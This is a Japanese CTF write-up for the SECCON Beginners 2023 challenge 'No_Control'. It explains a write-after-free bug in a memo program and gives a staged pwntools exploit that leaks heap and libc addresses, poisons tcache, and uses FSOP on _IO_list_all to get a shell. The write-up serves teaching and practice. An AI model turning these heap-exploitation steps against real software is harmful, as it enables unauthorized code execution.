🔰

No_Control - SECCON Beginners CTF 2023

2023/06/04に公開

source code

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <err.h>

#define LIST_SIZE 5
#define MEMO_SIZE 0x80


char *memos[LIST_SIZE] = {NULL};

int ask_index() {
    int idx = 0;
    char buf[0x100];
    printf("index: ");
    fgets(buf, 0xff, stdin);
    idx = atoi(buf);

    return idx;
}

void create_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index. now choose unused one.");
        for (idx = 0; idx < LIST_SIZE; idx++) {
            if (memos[idx] == NULL) {
                break;
            }
        }
    }

    if (LIST_SIZE <= idx) {
        puts("Can't find unused memo");
        return;
    }

    memo = malloc(MEMO_SIZE);
    memos[idx] = memo;

    return;
}

void read_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
        return;
    }

    memo = memos[idx];
    puts(memo);
    
    return;
}

void update_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
    } else if (memos[idx] == NULL) {
        puts("that memo is empty");
    } else {
        memo = memos[idx];
    }

    if (memo == NULL) {
        puts("something wrong");
    } else {
        printf("content: ");
        read(STDIN_FILENO, memo, MEMO_SIZE);
    }
    return;
}

void delete_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
        return;
    }

    memo = memos[idx];
    if (memo == NULL)
        return;
    free(memo);
    memos[idx] = NULL;

    return;

}

int main() {
    int idx;
    while(1) {
        printf("1. create\n"
               "2. read\n"
               "3. update\n"
               "4. delete\n"
               "5. exit\n"
               "> ");
        if (scanf("%d%*c", &idx) != 1) {
            puts("I/O Error");
            return 1;
        }

        switch (idx) {
            case 1:
                create_memo();
                break;
            case 2:
                read_memo();
                break;
            case 3:
                update_memo();
                break;
            case 4:
                delete_memo();
                break;
            case 5:
                puts("Bye");
                return 0;
            default:
                puts("Invalid index");

        }
    }

}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

脆弱性

update_memo関数に注目。memoがNULLで初期化されていないので、idxが不正な値でもread関数を呼び出すことができる。

src.c
void update_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
    } else if (memos[idx] == NULL) {
        puts("that memo is empty");
    } else {
        memo = memos[idx];
    }

    if (memo == NULL) {
        puts("something wrong");
    } else {
        printf("content: ");
        read(STDIN_FILENO, memo, MEMO_SIZE);
    }
    return;
}

問題はどうやってmemoに有効なアドレスを指定するか。ここでdelete_memo関数に注目する。

src.c
void delete_memo() {
    int idx;
    char *memo;
    idx = ask_index();

    if (idx < 0 || LIST_SIZE <= idx) {
        puts("Invalid index");
        return;
    }

    memo = memos[idx];
    if (memo == NULL)
        return;
    free(memo);
    memos[idx] = NULL;

    return;

}

ディスアセンブルすると分かるのだが、delete_memoとupdate_memoは同じスタック配置になる。delete_memoを呼ぶと、delete_memo内のmemoにこれからfreeされるアドレスが入る。この後すぐに不正なインデックスを指定してupdate_memoを呼ぶと(スタック配置が同じなので)update_memo内のmemoが今freeしたアドレスになる。 つまり、Write After Freeができる。これを利用してtcache-poisoningを行うことで任意のアドレスに任意の値を書き込むことが可能になる。

exploit

https://github.com/RI5255/ctf-writeups/tree/master/2023/ctf4b/No_Control

前準備

繰り返し使う処理を関数としてまとめておく。

solve.py
def create(idx : int):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b': ', str(idx).encode())

def read(idx : int):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b': ', str(idx).encode())
    return io.recvline()

def update(idx : int, data: bytes):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b': ', str(idx).encode())
    io.sendafter(b': ', data)

def delete(idx : int):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b': ', str(idx).encode())

def ex():
    io.sendlineafter(b'> ', b'5')

後で使うchunkを確保しておく。

solve.py
create(0) # A
create(1) # B
create(2) # C
create(3) # D

heap base leak

まず初めにheap baseをleakする。mallocはtcacheにあるchunkを返すとき、fdメンバを上書きしないのでここからheap baseを計算することができる。今回はglibc2.35が使われているので、tcacheにはsafe-linkingがある事に注意。
まずAをfreeしてtcacheに登録する。この時A.fdには&A.fd>>12が入る。&A.fd>>12はheap_base>>12と等しいので、mallocでAを取り返したあとにA.fdを読み出し、これを12bit左シフトすればheap baseを得ることができる。

solve.py
# 1: heap base leak
delete(0)
create(0)
heap_base = unpack(read(0).rstrip().ljust(8, b'\0')) << 12
log.info('heap_base = %#016lx'%(heap_base))

実際、gdbで見てみるとdelete(0)の後heapは以下のようになっている。上から順にtcache, A, B, C, D, Top chunkになる。Aはtcache(0x90)に登録されており、A.fdは&A.fd>>12になっていることが確認できる。

0

create(0)のmalloc実行直後まで進めるとheapは以下のようになる。tcacheに入っていたAが返っており、A.fdはそのまま残っていることが確認できる。

1

libc base leak

次にlibc baseをleakする。libc baseをleakするためにはchunkをunsorted binに繋いだ後でchunk.fdを読み出す必要があるが、今回memosは要素数が5なので、malloc-freeを繰り返してtcacheを枯渇させることはできない。そこで別の方法を考える。tcacheは以下のように定義されている。

malloc/malloc.c#L3138
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

tcacheのエントリ数はこのcountsで管理されるため、これを書き変えれば実際にfreeしなくてもtcache(0x90)が満杯だと認識させることができる。
その前にまず以下のようにしてCのアドレスを得ておく。

solve.py
# 2: libc base leak
chunkB = heap_base + 0x290 + 0x90
chunkC = chunkB + 0x90

# tcache(0x90): B -> A
delete(0)
delete(1)

# tcache(0x90): B -> C
update(-1, pack(((chunkB + 0x10)>>12) ^ chunkC + 0x10) + b'\n')

# tcache(0x90):
create(1)
create(4)
create(0)

これが必要なのはdelete_memo関数の以下の部分があるから。

src.c
    free(memo);
    memos[idx] = NULL;

後でCをunsorted binに繋いでC.fdを読み出すのだが、この部分があるためにdelete(2)でCをunsorted binに繋ぐとCのアドレスが失われてしまう。そのため、上ではtcache-poisoningによってmemos[4]にCのアドレスを保存している。delete(2)でmemos[2]がNULLで上書きされても、memos[4]にCのアドレスが入っているのでC.fdを読み出すことができる。
次にcountsを書き変える。tcacheは上で見た通りheap baseの位置にあり、かつ今heap baseは既知なのでtcache-poisoningによりtcaacheを書き変えることができる、

solve.py
# tcache(0x90): B -> A
delete(0)
delete(1)

# tcahce(0x90): B -> &tcache
update(-1, pack(((chunkB + 0x10)>>12) ^ heap_base) + b'\n')

# overwrite counts[7] with 7
create(1)
create(0)
update(0, pack(0) + pack(0x291) + pack(0x0) + pack(0x7000000000000))

delete(2)
l.address = unpack(read(4).rstrip().ljust(8, b'\0')) - 0x219ce0
log.info('libc_base = %#016lx'%(l.address))

実際、上のdelete(1)を実行すると、heapは以下のようになる。tcache(0x90)には2つのエントリがあるので、counts[7]は2になっている。(tcacheは0x20から0x10刻みなので、0x70のindexは(0x70-0x20)/0x10=7になる)

2

その後のupdateを実行するとheap以下のようになる。tcahce-poisoningが成功し、tcacheにtcacheのアドレスが入っていることが分かる。

3

この状態で2回createを呼べば、2回目のcreateでtcacheのアドレスが返される。実際、上のcreate(0)のmalloc実行直後まで進めると以下のようになり、tcacheのアドレスが得られていることが分かる。

4

次のupdateを実行するとheapは以下のようになる。counts[7]がtcacheの最大エントリ数である7に書き変わっていることが確認できる。

5

この状態でCをfreeすると、tcache(0x90)が満杯だと判断されるため、Cがunsorted binに入る。実際、上のdelete(2)を実行するとheapは以下のようになる。

6

後はC.fdを読み出せばよい。delete(2)によってmemos[2]はNULLで上書きされるが、最初にmemos[4]にCのアドレスを保存していたので、read(4)を実行すればC.fdが読み出せる。
C.fdとlibc baseとのoffsetを計算すると0x219ce0だったので、これを引けばlibc baseが取得できる。
最後に以下のようにしてcounts[7]を0にし、また上でunsorted binにいれたCを取り返しておく。

solve.py
# overwrite counts[7] with 0
update(0, pack(0) + pack(0x291) + pack(0x0) + pack(0))
create(0)

これを実行するとheapは以下のようになり、tcache(0x90), unsorted binが空になる。
7

counts[7]を0にしているのは、そうしないと次にcreateを読んだ際にmallocはtcache(0x90)からchunkを返そうとし、(上ではcountsを書き変えただけで実際にfree chunkがあるわけではないので)abortで落ちるから。unsorted binに入っているCを取り返しているのはFSOPを行う際に連続したメモリ領域が欲しかったから。

FSOP

heap baseもlibc baseも分かったので、PC Controlを奪取できれば終わり。今回の問題はFull RELROかつPIE enabledなのでGot Overwriteや、return addressの書き変えは使えない。そこでFSOPを使うことにした。(もっといい方法があるかも)FSOPについてはこの記事[1]で真面目に解説したので説明は割愛する。
まず以下のようにして偽の_IO_FILE_plus構造体、_IO_wide_data構造体、 _IO_jump_t構造体を作る。

solve.py
# 3: FSOP
create(0) # A
create(1) # B
create(2) # C
create(3) # D
create(4) # E

chunkA = heap_base + 0x560
wide_data = wide_vtable = chunkA + 0xf0

update(0, b'  sh\0\n')
update(
    1, 
    b'\0' * 0x10 \
    + pack(wide_data) \
    + b'\0' * 0x18 \
    + p32(1) \
    + b'\0' * 0x14 \
    + pack(l.sym['_IO_wfile_jumps']) \
    + b'\0' * 0x20 \
    + pack(1) \
    + b'\0' * 0x8
)
update(
    2, 
    b'\0' * 0x28 \
    + pack(l.sym['system']) # _do_allocate \
    + b'\n'
)
update(
    3,
    b'\0' * 0x10 \
    + pack(wide_vtable)
)

後は以下のようにして、_IO_list_allに上で用意した偽の_IO_FILE_plus構造体のアドレスを書き込めばよい。

solve.py
# tcahce(0x90): D -> C
delete(2)
delete(3)

# tcache(0x90): D -> &_IO_list_all
chunkD = chunkA + 0x90 * 3
update(-1, pack(((chunkD + 0x10)>>12) ^ l.sym['_IO_list_all']) + b'\n')

create(3)
create(2)
update(2, pack(chunkA + 0x10) + b'\n')

実際、最初のupdateを実行するとheapは以下のようになり、tcacheに&_IO_list_allが入る。

8

上のcrate(2)で&_IO_list_allが返るので、updateを用いて上で用意した偽の_IO_FILE_plus構造体のアドレスを書き込む。これを実行すると以下のようになり、攻撃が成功していることが分かる。

9

後はexitを呼べば最終的にsystem(" sh")が実行され、フラグが取得できる。

solve.py
ex()

io.interactive()

10

脚注
  1. https://zenn.dev/ri5255/articles/dfc517df9467cd#fsop-in-libc2.34 ↩︎

Discussion